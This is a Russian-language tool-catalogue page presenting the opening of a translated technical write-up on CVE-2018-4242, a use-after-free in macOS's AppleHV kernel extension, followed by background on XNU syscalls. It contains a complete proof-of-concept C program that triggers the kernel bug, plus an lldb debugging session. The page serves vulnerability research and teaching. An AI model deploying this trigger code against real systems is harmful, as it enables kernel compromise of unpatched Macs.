Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Look-at-The-XNU-Through-A-Tube-CVE-2018-4242-Write-up-Translation- — Подробный технический обзор и перевод CVE-2018-4242, уязвимости ядра XNU в AppleHV, с кодом PoC, анализом обратной разработки и объяснением системных вызовов, MIG и IOKit. | Kitploit
Инструменты/GitHubGitHub/yeonnic/look-at-the-xnu-through-a-tube-cve-2018-4242-write-up-translation-
Анализ уязвимостейЭксплуатацияОбратная инженерияСтатьи и ИсследованияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubyeonnic/look-at-the-xnu-through-a-tube-cve-2018-4242-write-up-translation-

Look-at-The-XNU-Through-A-Tube-CVE-2018-4242-Write-up-Translation-

Подробный технический обзор и перевод CVE-2018-4242, уязвимости ядра XNU в AppleHV, с кодом PoC, анализом обратной разработки и объяснением системных вызовов, MIG и IOKit.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
17 лет назадЕщё не проверено

Взгляд на XNU через трубку: разбор CVE-2018-4242

Чжо Лян из Qihoo 360 Nirvan Team

Содержание

1 Введение 1

1.1 CVE-2018-4242 . . . . . . . . . . . . . . . . . . . . . . . . . 1

2 Ядро XNU 2

2.1 Системные вызовы . . . . . . . . . . . . . . . . . . . . . . 2

2.2 MIG . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6

2.2.1 mach_msg и Mach-порт . . . . . . . . . . . . . . . . . . 6

2.2.2 MIG: генератор RPC-интерфейсов . . . . . . . . . . . . . 8

2.3 IOKit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11

2.3.1 IOUserClient . . . . . . . . . . . . . . . . . . . . . . . 12

3 AppleHV 12

3.1 Обратная разработка . . . . . . . . . . . . . . . . . . . . . 12

3.2 Уязвимость . . . . . . . . . . . . . . . . . . . . . . . . . . 16

3.3 Исправление . . . . . . . . . . . . . . . . . . . . . . . . . . 17

4 Заключение 17

1 Введение

1.1 CVE-2018-4242

На прошлой неделе Apple выпустила обновление безопасности macOS 10.13.4 для CVE-2018-4242, о котором сообщалось в марте. Данный CVE-2018-4242 — это уязвимость, позволяющая выполнять произвольный код с правами ядра, что может быть использовано вредоносными программами. Этот отчёт поможет разобраться в XNU через данную проблему. Код в Листинге 1 — это PoC, который мы продемонстрировали. Полный исходный код можно скачать с github.

root@kitploit:~
1 // AppleHVUaF.c
2 void destroy_vm() {
3   asm("mov $0x03000000, %rax; mov $0x04, %rdi; syscall");
4   return;
5 }
6 int main(int argc, char **argv) {
7   const char *service_name = "AppleHV";
8   io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
9
10  if (service == MACH_PORT_NULL) {
11    printf("[−] Cannot get matching service of %s\n", service_name);
12    return 0;
13  }
14  printf("[+] Get matching service of %s succeed, service=0x%x\n", service_name, service);
15
16  io_connect_t client = MACH_PORT_NULL;
17  kern_return_t ret = IOServiceOpen(service, mach_task_self(), 0, &client);
18  if (ret != KERN_SUCCESS) {
19    printf("[−] Open service of %s failed!\n", service_name);
20    return 0;
21  }
22  printf("[+] Create IOUserClient of %s succeed, client=0x%x\n",
23  service_name, client);
24  IOServiceClose(client);
25  usleep(5);
26  destroy_vm();
27  return 0;
28 }

​ Листинг 1: PoC для CVE-2018-4242

Чтобы понять этот код, нужно иметь некоторые базовые знания о XNU. Для читателей, впервые сталкивающихся с XNU, в разделе 2 будет рассмотрена информация о XNU. Если вы уже знакомы со следующими пунктами, можете начинать с раздела 3.

  • Классы системных вызовов в XNU
  • MIG, он же генератор RPC-интерфейсов в XNU
  • Подсистема IOKit

Раздел 1 Введение
Раздел 2 Базовые знания о XNU
Раздел 3 Реверс-инжиниринг AppleHV.kext и детали CVE-2018-4242
Раздел 4 Заключение

2 Ядро XNU

2.1 Системные вызовы

Как известно, системные вызовы в вычислительной технике — это способ взаимодействия программ с операционной системой. Процессы пользовательского уровня могут запрашивать услуги операционной системы через системный вызов. В XNU существует четыре класса системных вызовов, которые обеспечивают всё взаимодействие между пользователем и ядром. Давайте углубимся в них через инструкцию syscall, как показано в Листинге 1. ​ syscall на архитектуре x86_64 — это инструкция, которая может вызвать обработчик системных вызовов ОС в пространстве ядра. Листинг 2 иллюстрирует работу syscall на простом примере write.

root@kitploit:~
~ cat write.c
2 #include 
3 int main() {
4 write(0, "Hello\n", 6);
5 return 0;
6 }
7 ~ clang write.c −o write
8 ~ lldb write
9 (lldbinit) b libsystem_kernel.dylib`write
10 Breakpoint 1: where = libsystem_kernel.dylib`write, address = 0x000000000001e6f8
11 (lldbinit) r
12 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[regs]
13 RAX: 0x0000000000000006 RBX: 0x0000000000000000 RBP: 0x00007FFEEFBFF8D0
14 RSP: 0x00007FFEEFBFF8B8 RDI: 0x0000000000000000 RSI: 0x0000000100000FA2
15 RDX: 0x0000000000000006 RCX: 0x00007FFEEFBFF9F8 RIP: 0x00007FFF7ED096F8
16 R8: 0x0000000000000000 R9: 0xFFFFFFFF00000000 R10: 0x00007FFEEFBFFA48
17 R11: 0x00007FFF7ED096F8 R12: 0x0000000000000000 R13: 0x0000000000000000
18 R14: 0x0000000000000000 R15: 0x0000000000000000
19 CS: 002B FS: 0000 GS: 0000
20 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[code]
21 write @ libsystem_kernel.dylib:
22 −> 0x7fff7ed096f8: b8 04 00 00 02 mov eax, 0x2000004
23 0x7fff7ed096fd: 49 89 ca mov r10, rcx
24 0x7fff7ed09700: 0f 05 syscall
25 0x7fff7ed09702: 73 08 jae 0x7fff7ed0970c ; <+20>
26 0x7fff7ed09704: 48 89 c7 mov rdi, rax
27 0x7fff7ed09707: e9 19 54 ff ff jmp 0x7fff7ecfeb25 ; cerror
28 0x7fff7ed0970c: c3 ret
29 0x7fff7ed0970d: 90 nop
30 (lldbinit) x/s rsi
31 0x100000fa2: "Hello\n"

​ Листинг 2: Простой пример write

Скачать инструмент